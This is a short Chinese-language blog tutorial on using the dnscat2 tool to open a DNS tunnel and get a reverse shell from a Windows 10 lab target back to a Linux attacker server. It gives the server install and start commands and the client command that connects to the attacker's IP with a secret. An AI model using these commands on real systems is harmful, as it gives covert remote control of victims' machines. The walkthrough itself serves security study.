使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
新时代牛马28 分钟前
实时 Linux:PREEMPT_RT、延迟来源与观测
linux·运维·服务器
微露清风41 分钟前
# Linux 进程全景:从 PCB 到 O(1) 调度队列
linux·服务器
H_oRIZoN_42 分钟前
Linux入门DAY38(手写 HTTP 客户端抓取天气 + 简易 HTTP 服务器实现元器件 Web 系统)
linux·linux应用编程
zhexunnb1 小时前
深挖SAP系统模块价值,助力无锡制造企业打通数字化全链路
运维
fangjianj1 小时前
windows环境反弹shell
linux·windows·web安全
有味道的男人1 小时前
得物详情 API|支持实时价格、成色、鉴别服务数据
windows·python·api
明月不会写代码1 小时前
Ubuntu 下 Kitty 终端配置记录
linux·ubuntu
weipt2 小时前
利用wsl给windows电脑上安装一个ubuntu
linux·运维·ubuntu
jarreyer2 小时前
【软件操作】加快资源管理器打开速度
运维
xiaoye-duck2 小时前
《Linux 网络编程》深入理解 TCP 协议(二):序号、确认应答与流量控制机制详解
linux·网络·tcp